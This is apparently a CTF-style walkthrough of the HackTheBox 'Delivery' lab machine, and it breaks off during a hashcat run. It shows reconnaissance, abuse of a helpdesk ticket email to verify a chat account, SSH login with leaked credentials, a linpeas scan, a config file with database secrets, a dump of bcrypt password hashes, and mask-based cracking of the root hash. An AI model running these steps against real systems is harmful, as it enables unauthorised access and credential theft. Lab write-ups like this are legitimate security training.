Welcome to another of my technical HackTheBox walk throughs, this time we are taking on the Delivery challenge, lets jump right in!

Initial nmap session:

Starting Nmap 7.91 ( https://nmap.org ) at 2021-01-16 20:54 GMT
Nmap scan report for 10.10.10.222
Host is up (0.041s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 9c:40:fa:85:9b:01:ac:ac:0e:bc:0c:19:51:8a:ee:27 (RSA)
|   256 5a:0c:c0:3b:9b:76:55:2e:6e:c4:f4:b9:5d:76:17:09 (ECDSA)
|_  256 b7:9d:f7:48:9d:a2:f2:76:30:fd:42:d3:35:3a:80:8c (ED25519)
80/tcp open  http    nginx 1.14.2
|_http-server-header: nginx/1.14.2
|_http-title: Welcome
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 25.23 seconds

Navigating the web http://10.10.10.222/ I can find the contact session where two new links bring on two different subdomains:
http://helpdesk.delivery.htb/
http://delivery.htb:8065/

Change the /etc/hosts file and go to investigate on them.

http://helpdesk.delivery.htb/

It's a ticketing management platform based on the osticket system (but it could be an old version). Searching on exploit-db I found a lot of exploits.

Starting to build confidence with the portal, I try to register a new account and I understand that I need to confirm the registration, but, the email could never be sent out of the internal network of HTB, so I need to intercept the email becoming myself an email provider. But lets go ahead and check the second portal.

http://delivery.htb:8065/

The second portal is based on the mattermost system, an Incident Management platform that provides a communication command center that allows sharing messaging with members of a team. Strangely, on exploit-db I don't find any exploit, which, however, can be solved by carrying out a normal internet search: "Mattermost exploit". Trying to create an account also on this system, I receive the same message, that informs me that I need to confirm my email address using the link inside it... unfortunately I can't! After a lot of hours spent to find the right exploit and to the way to capture the email sent, I come back on the ticketing portal and I try to create also a ticket, the message I receive is the following:

    in7rud3r, 

    You may check the status of your ticket, by navigating to the Check Status page using ticket id: 8347102.

    If you want to add more information to your ticket, just email 8347102@delivery.htb.

    Thanks,

    Support Team

This is interesting, a mail with the number of the ticket is generated. I also have the possibility to check the status of the ticket, so, playing again some time with this characteristic, I get an Idea: use the support's email to receive the confirmation email from the mattermost system. So, create a new ticket and use the support email on the Incident Management System to register. When I come back to check the ticket status I get a nice surprise: I can read the registration email.

Using the link inside it to complete the registration process, I can now enter on the Incident Management portals and investigate on it.

Quite immediate I can find an interesting message with two important information, the first one provide me a complete credential.

To be fast, I try it immediatein the ssh connectivity and it works.

┌─[✗]─[in7rud3r@Mykali]─[~/Dropbox/hackthebox]  
└──╼ $ssh maildeliverer@10.10.10.222
The authenticity of host '10.10.10.222 (10.10.10.222)' can't be established.
ECDSA key fingerprint is SHA256:LKngIDlEjP2k8M7IAUkAoFgY/MbVVbMqvrFA6CUrHoM.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.10.222' (ECDSA) to the list of known hosts.
maildeliverer@10.10.10.222's password: 
Linux Delivery 4.19.0-13-amd64 #1 SMP Debian 4.19.160-2 (2020-11-28) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sun Jan 17 16:54:58 2021 from 10.10.14.211
maildeliverer@Delivery:~$ pwd
/home/maildeliverer
maildeliverer@Delivery:~$ ls -la
total 32
drwxr-xr-x 3 maildeliverer maildeliverer 4096 Jan 17 17:02 .
drwxr-xr-x 3 root          root          4096 Dec 26 09:01 ..
lrwxrwxrwx 1 root          root             9 Dec 28 07:04 .bash_history -> /dev/null
-rw-r--r-- 1 maildeliverer maildeliverer  220 Dec 26 09:01 .bash_logout
-rw-r--r-- 1 maildeliverer maildeliverer 3526 Dec 26 09:01 .bashrc
drwx------ 4 maildeliverer maildeliverer 4096 Jan 17 17:01 .gnupg
-rw------- 1 maildeliverer maildeliverer  250 Jan 17 17:02 .mysql_history
-rw-r--r-- 1 maildeliverer maildeliverer  807 Dec 26 09:01 .profile
-r-------- 1 maildeliverer maildeliverer   33 Jan 17 15:54 user.txt
maildeliverer@Delivery:~$ cat user.txt
8******************************2
maildeliverer@Delivery:~$ 

And the first flag is mine.

Also if I already know the result of my action, anyway, I try to begin the root user, (su command) using the (partial) password in the message founded during the navigation of the Incident Management System, but, as I supposed, I receive an error message.

Next step is to upload linpeas and try to search for vulnerabilities or interesting information.

As usual and known for the readers that follow me from the beginning, I use the php native WebServer to allow the download the needed files from the remote machine. The process provides to launch the following command on the folder where the file you want to download are located: php -S <your local IP Address>:<desired port number>.

Following the interesting part of the output from the linpeas batch script.

[...]
================================( Processes, Cron & Services )================================
[+] Cleaned processes
[i] Check weird & unexpected proceses run by root: https://book.hacktricks.xyz/linux-unix/privilege-escalation#processes
USER       PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root         1  0.1  0.2 103984 10164 ?        Ss   15:15   0:01 /sbin/init
root       256  0.0  0.2  26516  8320 ?        Ss   15:15   0:00 /lib/systemd/systemd-journald
root       281  0.0  0.1  22432  5092 ?        Ss   15:15   0:00 /lib/systemd/systemd-udevd
systemd+   415  0.0  0.1  95148  6548 ?        Ssl  15:15   0:00 /lib/systemd/systemd-timesyncd
root       416  0.0  0.2  48228 11008 ?        Ss   15:15   0:00 /usr/bin/VGAuthService
root       417  0.0  0.2 122852 12044 ?        Ssl  15:15   0:00 /usr/bin/vmtoolsd
root       464  0.0  0.1 225824  6356 ?        Ssl  15:15   0:00 /usr/sbin/rsyslogd -n -iNONE
root       465  0.0  0.0   8504  2848 ?        Ss   15:15   0:00 /usr/sbin/cron -f
root       470  0.0  0.8 266500 33360 ?        Ss   15:15   0:00 php-fpm: master process (/etc/php/7.3/fpm/php-fpm.conf)
message+   471  0.0  0.1   9124  4376 ?        Ss   15:15   0:00 /usr/bin/dbus-daemon --system --address=systemd: --nofork --nopidfile --systemd-activation --syslog-only
root       473  0.0  0.1  19392  7232 ?        Ss   15:15   0:00 /lib/systemd/systemd-logind
root       487  0.0  0.1  15852  6720 ?        Ss   15:15   0:00 /usr/sbin/sshd -D
avahi      490  0.0  0.0   8156   320 ?        S    15:15   0:00 avahi-daemon: chroot helper
root       491  0.0  0.0   5612  1748 tty1     Ss+  15:15   0:00 /sbin/agetty -o -p -- \u --noclear tty1 linux
root       497  0.0  0.2 182936 10828 ?        Ssl  15:15   0:00 /usr/sbin/cups-browsed
root       535  0.0  0.0  67848  1812 ?        Ss   15:15   0:00 nginx: master process /usr/sbin/nginx -g daemon on; master_process on;
www-data   536  0.0  0.9 269692 39356 ?        S    15:15   0:00 php-fpm: pool www
www-data   537  0.0  0.9 269756 39924 ?        S    15:15   0:00 php-fpm: pool www
www-data   542  0.0  0.1  68740  7156 ?        S    15:15   0:00 nginx: worker process
www-data   543  0.0  0.1  68468  5924 ?        S    15:15   0:00 nginx: worker process
mysql      644  0.2  2.6 1717964 106820 ?      Ssl  15:15   0:01 /usr/sbin/mysqld
root       653  0.0  0.2  29208  8156 ?        Ss   15:15   0:00 /usr/sbin/cupsd -l
matterm+   736  0.6  3.4 1723136 138012 ?      Ssl  15:15   0:05 /opt/mattermost/bin/mattermost
root       905  0.0  0.4  29544 18220 ?        S    15:16   0:00 python3 /root/py-smtp.py
matterm+   909  0.0  0.4 1160432 18164 ?       Sl   15:16   0:00 plugins/com.mattermost.plugin-channel-export/server/dist/plugin-linux-amd64
matterm+   915  0.0  0.5 1239060 20712 ?       Sl   15:16   0:00 plugins/com.mattermost.nps/server/dist/plugin-linux-amd64
maildel+   949  0.0  0.2  21144  9044 ?        Ss   15:16   0:00 /lib/systemd/systemd --user
maildel+   950  0.0  0.0 105232  2440 ?        S    15:16   0:00 (sd-pam)
maildel+   964  0.0  0.1  16928  4864 ?        S    15:16   0:00 sshd: maildeliverer@pts/0
maildel+   965  0.0  0.1   7916  4940 pts/0    Ss+  15:16   0:00 -bash
maildel+  1033  0.0  0.1  17004  5160 ?        S    15:25   0:00 sshd: maildeliverer@pts/1
maildel+  1034  0.0  0.1   8372  5216 pts/1    Ss+  15:25   0:00 -bash
maildel+  1057  0.0  0.1  16916  5044 ?        S    15:27   0:00 sshd: maildeliverer@pts/2
maildel+  1058  0.0  0.1   8492  5296 pts/2    Ss   15:27   0:00 -bash
maildel+  1100  0.0  0.0   2492  1752 pts/2    S+   15:30   0:00 /bin/sh ./linpeas.sh
maildel+  1101  0.0  0.0   5264   740 pts/2    S+   15:30   0:00 tee out-lp.txt
root      1166  0.0  0.0  22432  2416 ?        S    15:30   0:00 /lib/systemd/systemd-udevd
maildel+  1293  0.0  0.0  10632  3128 pts/2    R+   15:30   0:00 ps aux
[...]
[+] Binary processes permissions
[i] https://book.hacktricks.xyz/linux-unix/privilege-escalation#processes
   0 lrwxrwxrwx 1 root       root          4 Dec 26 08:56 /bin/sh -> dash
1.5M -rwxr-xr-x 1 root       root       1.5M Oct 24 14:44 /lib/systemd/systemd
144K -rwxr-xr-x 1 root       root       143K Oct 24 14:44 /lib/systemd/systemd-journald
228K -rwxr-xr-x 1 root       root       227K Oct 24 14:44 /lib/systemd/systemd-logind
 56K -rwxr-xr-x 1 root       root        55K Oct 24 14:44 /lib/systemd/systemd-timesyncd
664K -rwxr-xr-x 1 root       root       663K Oct 24 14:44 /lib/systemd/systemd-udevd
 85M -rwxrwxr-x 1 mattermost mattermost  85M Dec 18 08:53 /opt/mattermost/bin/mattermost
 64K -rwxr-xr-x 1 root       root        64K Jan 10  2019 /sbin/agetty
   0 lrwxrwxrwx 1 root       root         20 Oct 24 14:44 /sbin/init -> /lib/systemd/systemd
236K -rwxr-xr-x 1 root       root       236K Jul  5  2020 /usr/bin/dbus-daemon
132K -rwxr-xr-x 1 root       root       129K Oct  9  2019 /usr/bin/VGAuthService
 56K -rwxr-xr-x 1 root       root        56K Oct  9  2019 /usr/bin/vmtoolsd
 56K -rwxr-xr-x 1 root       root        55K Oct 11  2019 /usr/sbin/cron
184K -rwxr-xr-x 1 root       root       183K Apr 10  2019 /usr/sbin/cups-browsed
448K -rwxr-xr-x 1 root       root       447K Nov 28 06:09 /usr/sbin/cupsd
 20M -rwxr-xr-x 1 root       root        20M Nov 25 04:50 /usr/sbin/mysqld
688K -rwxr-xr-x 1 root       root       686K Feb 26  2019 /usr/sbin/rsyslogd
792K -rwxr-xr-x 1 root       root       789K Jan 31  2020 /usr/sbin/sshd
[...]
[+] Active Ports
[i] https://book.hacktricks.xyz/linux-unix/privilege-escalation#internal-open-ports
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:631           0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:1025          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:3306          127.0.0.1:43486         ESTABLISHED -                   
tcp        0      0 127.0.0.1:43490         127.0.0.1:3306          ESTABLISHED -                   
tcp        0      0 127.0.0.1:3306          127.0.0.1:43498         ESTABLISHED -                   
tcp        0      0 127.0.0.1:3306          127.0.0.1:43494         ESTABLISHED -                   
tcp        0      0 10.10.10.222:80         10.10.14.72:53966       ESTABLISHED -                   
tcp        0      0 127.0.0.1:3306          127.0.0.1:43488         ESTABLISHED -                   
tcp        0      0 127.0.0.1:3306          127.0.0.1:43500         ESTABLISHED -                   
tcp        0      0 10.10.10.222:22         10.10.14.123:34732      ESTABLISHED -                   
tcp        0      0 10.10.10.222:80         10.10.14.72:53963       ESTABLISHED -                   
tcp        0      0 10.10.10.222:22         10.10.14.201:32804      ESTABLISHED -                   
tcp        0    588 10.10.10.222:22         10.10.14.225:37446      ESTABLISHED -                   
tcp        0      0 10.10.10.222:80         10.10.14.72:53964       ESTABLISHED -                   
tcp        0      0 127.0.0.1:43486         127.0.0.1:3306          ESTABLISHED -                   
tcp        0      0 10.10.10.222:80         10.10.14.72:53968       ESTABLISHED -                   
tcp        0      0 10.10.10.222:80         10.10.14.72:53967       ESTABLISHED -                   
tcp        0      0 127.0.0.1:43500         127.0.0.1:3306          ESTABLISHED -                   
tcp        0      0 127.0.0.1:43484         127.0.0.1:3306          ESTABLISHED -                   
tcp        0      0 127.0.0.1:3306          127.0.0.1:43490         ESTABLISHED -                   
tcp        0      0 127.0.0.1:43492         127.0.0.1:3306          ESTABLISHED -                   
tcp        0      0 127.0.0.1:3306          127.0.0.1:43484         ESTABLISHED -                   
tcp        0      0 127.0.0.1:43488         127.0.0.1:3306          ESTABLISHED -                   
tcp        0      0 127.0.0.1:3306          127.0.0.1:43496         ESTABLISHED -                   
tcp        0      0 127.0.0.1:43498         127.0.0.1:3306          ESTABLISHED -                   
tcp        0      0 127.0.0.1:43494         127.0.0.1:3306          ESTABLISHED -                   
tcp        0      0 127.0.0.1:3306          127.0.0.1:43492         ESTABLISHED -                   
tcp        0      0 127.0.0.1:43496         127.0.0.1:3306          ESTABLISHED -                   
tcp        0      0 10.10.10.222:80         10.10.14.88:34966       ESTABLISHED -                   
tcp        0      0 10.10.10.222:80         10.10.14.72:53965       ESTABLISHED -                   
tcp6       0      0 :::22                   :::*                    LISTEN      -                   
tcp6       0      0 ::1:631                 :::*                    LISTEN      -                   
tcp6       0      0 :::8065                 :::*                    LISTEN      -                   
tcp6       0      0 :::80                   :::*                    LISTEN      -                   
tcp6       0      0 10.10.10.222:8065       10.10.14.189:33384      ESTABLISHED -                   
tcp6       0      0 10.10.10.222:8065       10.10.14.189:33832      TIME_WAIT   -                   
tcp6       0      0 10.10.10.222:8065       10.10.14.72:43528       TIME_WAIT   -                   
tcp6       0      0 10.10.10.222:8065       10.10.14.201:43060      ESTABLISHED -                   
tcp6       0      0 10.10.10.222:8065       10.10.14.201:43064      ESTABLISHED -                   
tcp6       0      0 10.10.10.222:8065       10.10.14.201:43036      ESTABLISHED -                   
tcp6       0      0 10.10.10.222:8065       10.10.14.72:43529       TIME_WAIT   -                   
udp        0      0 0.0.0.0:5353            0.0.0.0:*                           -                   
udp        0      0 10.10.10.222:52764      8.8.8.8:53              ESTABLISHED -                   
udp        0      0 0.0.0.0:40630           0.0.0.0:*                           -                   
udp        0      0 0.0.0.0:631             0.0.0.0:*                           -                   
udp6       0      0 :::5353                 :::*                                -                   
udp6       0      0 :::54093                :::*                                -                   
[...]
[+] Backup files?
-rwxr-xr-x 1 root root 38412 Nov 25 04:50 /usr/bin/wsrep_sst_mariabackup
[...]

My attention is immediately attracted by the second section I provide, where a single process in the "Binary processes permissions" list is launched by the "mattermost" user. So, I go to investigate in that folder where I found configuration files of the portal.

[...]
        "GfycatApiSecret": "3wLVZPiswc3DnaiaFoLkDvB4X0IV6CpMkj4tf2inJRsBY6-FnkT08zGmppWFgeof",
[...]
    "SqlSettings": {
        "DriverName": "mysql",
        "DataSource": "mmuser:Crack_The_MM_Admin_PW@tcp(127.0.0.1:3306)/mattermost?charset=utf8mb4,utf8\u0026readTimeout=30s\u0026writeTimeout=30s",
        "DataSourceReplicas": [],
        "DataSourceSearchReplicas": [],
        "MaxIdleConns": 20,
        "ConnMaxLifetimeMilliseconds": 3600000,
        "MaxOpenConns": 300,
        "Trace": false,
        "AtRestEncryptKey": "n5uax3d4f919obtsp1pw1k5xetq1enez",
        "QueryTimeout": 30,
        "DisableDatabaseSearch": false
    },
[...]
    "PasswordSettings": {
        "MinimumLength": 10,
        "Lowercase": true,
        "Number": true,
        "Uppercase": true,
        "Symbol": true
    },
[...]
    "ElasticsearchSettings": {
        "ConnectionUrl": "http://localhost:9200",
        "Username": "elastic",
        "Password": "changeme",
        "EnableIndexing": false,
[...]

Well, I have a lot of interesting information that, mixed with the previously found, I can do many things. The first thing I want to check is the mysql database. So, for who doesn't know any about the mysql database, here how to connect to it.

Connect to MySQL database from command line guide
Learn how to connect to MySQL from the command line using the MySQL program with this guide including detailed instructions, code snippets and links to related articles.
maildeliverer@Delivery:/opt/mattermost/config$ mysql -u mmuser -p
Enter password: 
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 3212
Server version: 10.3.27-MariaDB-0+deb10u1 Debian 10

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MariaDB [(none)]> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| mattermost         |
+--------------------+
2 rows in set (0.000 sec)

MariaDB [(none)]> use mattermost;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
MariaDB [mattermost]> 

Ok, next step, check the database, I leave here the official reference for the commands that you can launch on the mysql database, learn and proceed.

MySQL :: MySQL 8.0 Reference Manual

I start listing the tables in the database:

MariaDB [mattermost]> SHOW tables;
+------------------------+
| Tables_in_mattermost   |
+------------------------+
| Audits                 |
| Bots                   |
| ChannelMemberHistory   |
| ChannelMembers         |
| Channels               |
| ClusterDiscovery       |
| CommandWebhooks        |
| Commands               |
| Compliances            |
| Emoji                  |
| FileInfo               |
| GroupChannels          |
| GroupMembers           |
| GroupTeams             |
| IR_Incident            |
| IR_Playbook            |
| IR_PlaybookMember      |
| IR_System              |
| IncomingWebhooks       |
| Jobs                   |
| Licenses               |
| LinkMetadata           |
| OAuthAccessData        |
| OAuthApps              |
| OAuthAuthData          |
| OutgoingWebhooks       |
| PluginKeyValueStore    |
| Posts                  |
| Preferences            |
| ProductNoticeViewState |
| PublicChannels         |
| Reactions              |
| Roles                  |
| Schemes                |
| Sessions               |
| SidebarCategories      |
| SidebarChannels        |
| Status                 |
| Systems                |
| TeamMembers            |
| Teams                  |
| TermsOfService         |
| ThreadMemberships      |
| Threads                |
| Tokens                 |
| UploadSessions         |
| UserAccessTokens       |
| UserGroups             |
| UserTermsOfService     |
| Users                  |
+------------------------+
50 rows in set (0.000 sec)

MariaDB [mattermost]>

The table I'm interested in is the Users tablle, so, let me check it and the content.

MariaDB [mattermost]> describe Users;
+--------------------+--------------+------+-----+---------+-------+
| Field              | Type         | Null | Key | Default | Extra |
+--------------------+--------------+------+-----+---------+-------+
| Id                 | varchar(26)  | NO   | PRI | NULL    |       |
| CreateAt           | bigint(20)   | YES  | MUL | NULL    |       |
| UpdateAt           | bigint(20)   | YES  | MUL | NULL    |       |
| DeleteAt           | bigint(20)   | YES  | MUL | NULL    |       |
| Username           | varchar(64)  | YES  | UNI | NULL    |       |
| Password           | varchar(128) | YES  |     | NULL    |       |
| AuthData           | varchar(128) | YES  | UNI | NULL    |       |
| AuthService        | varchar(32)  | YES  |     | NULL    |       |
| Email              | varchar(128) | YES  | UNI | NULL    |       |
| EmailVerified      | tinyint(1)   | YES  |     | NULL    |       |
| Nickname           | varchar(64)  | YES  |     | NULL    |       |
| FirstName          | varchar(64)  | YES  |     | NULL    |       |
| LastName           | varchar(64)  | YES  |     | NULL    |       |
| Position           | varchar(128) | YES  |     | NULL    |       |
| Roles              | text         | YES  |     | NULL    |       |
| AllowMarketing     | tinyint(1)   | YES  |     | NULL    |       |
| Props              | text         | YES  |     | NULL    |       |
| NotifyProps        | text         | YES  |     | NULL    |       |
| LastPasswordUpdate | bigint(20)   | YES  |     | NULL    |       |
| LastPictureUpdate  | bigint(20)   | YES  |     | NULL    |       |
| FailedAttempts     | int(11)      | YES  |     | NULL    |       |
| Locale             | varchar(5)   | YES  |     | NULL    |       |
| Timezone           | text         | YES  |     | NULL    |       |
| MfaActive          | tinyint(1)   | YES  |     | NULL    |       |
| MfaSecret          | varchar(128) | YES  |     | NULL    |       |
+--------------------+--------------+------+-----+---------+-------+
25 rows in set (0.001 sec)

MariaDB [mattermost]> select id, username, password from Users;
+----------------------------+----------------------------------+--------------------------------------------------------------+
| id                         | username                         | password                                                     |
+----------------------------+----------------------------------+--------------------------------------------------------------+
| 1g1zozjet3deze7d65xhuwk6da | tofurky                          | $2a$10$XYeGKa60LJw4VTROOEBQ3eEPiRIQN2pBB7DCY8ghnJNKhNB3NP5eO |
| 34frrhzko7riffbpw1fnai8qsc | test1234567                      | $2a$10$NhtoeXaLWFrWAI1qvd9mW.gbFJXH6P2zB/jUisqAStrgBvsr3glJy |
| 453ib6jjw3yf8m3yo5e8ddhzzy | sab1ni                           | $2a$10$/u3RCo6J3OwT3rIKr4UMB.DiR2pXiM.G5pd.NMUxlzmOFwAwCh1uG |
| 64nq8nue7pyhpgwm99a949mwya | surveybot                        |                                                              |
| 6akd5cxuhfgrbny81nj55au4za | c3ecacacc7b94f909d04dbfd308a9b93 | $2a$10$u5815SIBe2Fq1FZlv9S8I.VjU3zeSPBrIEg9wvpiLaS7ImuiItEiK |
| 6wkx1ggn63r7f8q1hpzp7t4iiy | 5b785171bfb34762a933e127630c4860 | $2a$10$3m0quqyvCE8Z/R1gFcCOWO6tEj6FtqtBn8fRAXQXmaKmg.HDGpS/G |
| 79oxxjgz9byyip3w69j4czjs6y | agent                            | $2a$10$pJulq3nSx2/QJ5n75A.wyeflz.HTz0wYEOlMuMSEDVEIdZX4MNm3i |
| 7db335m1878ktjp7bndm6q533r | test333                          | $2a$10$u/upwT91UhQGzCJBOgzA3.bC22NYr4tt3zoRFUOThzkXn16b3dQui |
| 8gksugmkkbrcfehdiysue51x1y | incident                         |                                                              |
| 8kmttfe7rir9tmj4m3hi61mf3r | test                             | $2a$10$sv.gv78C6zEWgq.nF/AHgOvAUCTmaAFUJnlCTFBMEMiDMwq8CQIVW |
| 8o946s9ii3dzmqem6c4y7qzdkh | test88                           | $2a$10$aYjQlCszn1vEekHAf.JbLeH9t3vcRkb2vhQ9mvlo1akkLPrpwE7l2 |
| a8etrupoi3dc5qsurfcsomp4ke | tempo                            | $2a$10$rl6PrHxd7OSDUNmGFt9MmeQw.a1ZeVknxQ4AC6QThMokbiim4Ru3i |
| cfkpyi5dyt8otdzhzyi8nr4d5y | test99                           | $2a$10$EM./ifkg54BaGKX8fF3oGuqmTZcqN5S7wEtOPv.hnCX5a7pGC3sta |
| ddbfo6o6epfej84xq5gta3bk3e | tuta                             | $2a$10$1t830TQts/K.ohGt6rfADuoafuVcrmfqFSZQuRkwLmySijoVct8K. |
| dijg7mcf4tf3xrgxi5ntqdefma | root                             | $2a$10$VM6EeymRxJ29r8Wjkr8Dtev0O.1STWb4.4ScG.anuu7v0EFJwgjjO |
| eiq8b6hpepfxfe9oziy1hgbc7o | aa9809564                        | $2a$10$BbCqMfiNirs5t6GFT4XFAuck3P9fp1DLpRkOfA5CfLyPzgYds51Se |
| gczzucg8dirojybx9ekuehs7dw | tofurky1                         | $2a$10$asNtCULkbToR6vNsyRgv7uvol8ctKAEACn9Ba3SaSjGX4zOZUchlW |
| gptsub8dtjgu9bfr58b1mxjwjy | yolo                             | $2a$10$uMLDa09k4j8VjV3O5DeqWObYh2IRAOeJCsEz7rzbRTFNRNgXTcoES |
| gwipizupf7ro9k6nor3iabj61e | gfjfgjfgj                        | $2a$10$lkISCi67b.KGuTRuWvbsI.qplV0ECpHtFXL7MHT/K9V6D3sPtGyV2 |
| gwzuewrt4pbxfd9oa3ier8dyge | zparrow                          | $2a$10$Dj9H.qLlBE2f2YsUI47w2OGccaSdbn0eASfRTGakmMqymJRvbogti |
| hatotzdacb8mbe95hm4ei8i7ny | ff0a21fc6fc2488195e16ea854c963ee | $2a$10$RnJsISTLc9W3iUcUggl1KOG9vqADED24CQcQ8zvUm1Ir9pxS.Pduq |
| jing8rk6mjdbudcidw6wz94rdy | channelexport                    |                                                              |
| kfzi4u19ypgetnxr44k6xtxk4r | cl35                             | $2a$10$Z3u9Lxs5omKx7gr3NT/o/.uObCNsH8jn1PG/BLgg.JYoeG2gWt/Wq |
| kt6pcag5kbb78bia4atq9zmiyh | tim111                           | $2a$10$VauGrNZ7WndCySRx.9ahFuAFD3Ut2nqFciSaj9D57s20OeykSX3Y2 |
| mo5mydciotdrmk1a9ghcyditfy | zparrow1234                      | $2a$10$Gq197Z1o6Vy9aWIQWkoUCeiuQZR6w1j0EqOLnnFhKdnDR3ivzReSi |
| n9magehhzincig4mm97xyft9sc | 9ecfb4be145d47fda0724f697f35ffaf | $2a$10$s.cLPSjAVgawGOJwB7vrqenPg2lrDtOECRtjwWahOzHfq1CoFyFqm |
| p76b1sqditff7mp19wgfxu615w | testgdfg                         | $2a$10$TAX4piH5PbT/MC9zFpuluOym7M092qwwahma/EH4k6mPVFgNrkaZm |
| p8jioqq64ffixqog1nr8tstgqo | sokip50137                       | $2a$10$Lfrk181OiN7f3M.wQC4trewI/wSJ8KDFfMTjycA7Y4PeshwHs22We |
| pj97x8yesbyf7yj7bwmuawar1y | h4ckmd                           | $2a$10$BJoDhP/ZGvGX7RKR9TBSdOCjBC2lLz9b2O3aPlNb05BvJiy01H6a6 |
| pzkndifcztbjjfkmmo4me7dx4w | tim11                            | $2a$10$8my5FJekKzOydYb8K86fwezf9CGYiBd0xFMyhKOIbacAE50HDCU/O |
| q5rkx9u8fifajpt7rd5ragmxte | qwertt12321                      | $2a$10$HaBRl3elUt4n4QDlbAOV0OZCjVyt5q0Wxs/bU3a/LwYUHUj0yoXFG |
| rbkyhcknpbdmzrgbynjwzjk4xo | jachimo                          | $2a$10$dFaoUXUWCckF40FP/jUZTucMW9.GFXXOTddcAHDSpEqlwzlX3U/7C |
| saszqtq79ig9xjoab3u7yi8gjw | chico                            | $2a$10$cW00b5rUqOYlmSi7Y/rYkuuFdu.xrpOTe6emMoJZVD49wBUeBkiX. |
| sqw8qwgsgpnh7p39n5rscsac1w | test321                          | $2a$10$q5ZgszqK6Et7xkASdfkUyOQGAeMAQh6Wir7Zkd2dDJgL4UoVxALMO |
| tbo6aas3mjreujawqtnefjhxfh | jfgjfgjgf                        | $2a$10$R1hl9Atk3RSJRYZuZ67Pa./23A/fGBshk7m7tczAWl4nXC.XOx0eC |
| u8qj11y3yi8ficegcxjprqgnhr | fakes                            | $2a$10$3kiL9SGRlk9a9r5ZN7/mcunxc1chLp6GTEpB2xxga6MCSAIiOzWn2 |
| ub8cmtbojid4pdxgdmbar16pqa | test123                          | $2a$10$hO0jR9v4qvkp44uDhr1GX.GY0YHAeY6JbRc7hG2yiiCYuCqGEAG3u |
| xiirn6bzpby8dydmr1qaee5nuh | sabini                           | $2a$10$E8h92vARu2irxXJaT8q4hO1zbnuC2hOHrJFgq.1SHXpf2DWPUP3P6 |
| yt4zwza7e3dx9dnhaxcuofem4y | tim1                             | $2a$10$1.CY4/qSE580Yuv5BYwssuIJObkNbbsrGqZnGWV6m/SdWJv7dqV42 |
| yur8tgefzpygzco451kxwh7sgr | test123456                       | $2a$10$m41WAMLvbSAzDHEmydjJP.uvx.06EF7O5KbXoI5Rg90fEwHlDDI6C |
| z9axhtphhin1dmcghw4jtminyh | tester1                          | $2a$10$brgAMFORVBAwxWnj6kDcfOi0icxEKI04sRt7wPuyvLckk7xKkAoeq |
+----------------------------+----------------------------------+--------------------------------------------------------------+
41 rows in set (0.001 sec)

It appears that this is the root password hash. Do you remember what wrote in the message? Part of the password is "PleaseSubscribe!" but it's not contained in the rockyou dictionary. Let me check.

┌─[in7rud3r@Mykali]─[~/Dropbox/hackthebox/_10.10.10.222 - Delivery (lin)/attack/ws]  
└──╼ $locate rockyou.txt
/usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt.tar.gz
/usr/share/wordlists/rockyou.txt
┌─[in7rud3r@Mykali]─[~/Dropbox/hackthebox/_10.10.10.222 - Delivery (lin)/attack/ws]  
└──╼ $grep PleaseSubscribe /usr/share/wordlists/rockyou.txt 
┌─[✗]─[in7rud3r@Mykali]─[~/Dropbox/hackthebox/_10.10.10.222 - Delivery (lin)/attack/ws]  
└──╼ $

That's true. So, we can try to reverse the hashing using the "increment" feature of the hashcat tool, with an appropriate mask.

┌─[✗]─[in7rud3r@Mykali]─[~/Dropbox/hackthebox/_10.10.10.222 - Delivery (lin)/attack/hash]  
└──╼ $hashcat -m 3200 -a 3 -i --increment-min 16 --increment-max 20 hash.txt PleaseSubscribe\!?a?a?a?a
hashcat (v6.1.1) starting...

OpenCL API (OpenCL 1.2 pocl 1.5, None+Asserts, LLVM 9.0.1, RELOC, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
=============================================================================================================================
* Device #1: pthread-Intel(R) Core(TM) i5-7300HQ CPU @ 2.50GHz, 2889/2953 MB (1024 MB allocatable), 2MCU

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 72

Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates

Applicable optimizers applied:
* Zero-Byte
* Single-Hash
* Single-Salt
* Brute-Force

Watchdog: Hardware monitoring interface not found on your system.
Watchdog: Temperature abort trigger disabled.

Host memory required for this attack: 64 MB

The wordlist or mask that you are using is too small.
This means that hashcat cannot use the full parallel power of your device(s).
Unless you supply more work, your cracking speed will drop.
For tips on supplying more work, see: https://hashcat.net/faq/morework

Approaching final keyspace - workload adjusted.  

Session..........: hashcat                       
Status...........: Exhausted
Hash.Name........: bcrypt $2*$, Blowfish (Unix)
Hash.Target......: $2a$10$VM6EeymRxJ29r8Wjkr8Dtev0O.1STWb4.4ScG.anuu7v...JwgjjO
Time.Started.....: Sat Jan 23 08:24:13 2021 (0 secs)
Time.Estimated...: Sat Jan 23 08:24:13 2021 (0 secs)
Guess.Mask.......: PleaseSubscribe! [16]
Guess.Queue......: 1/5 (20.00%)
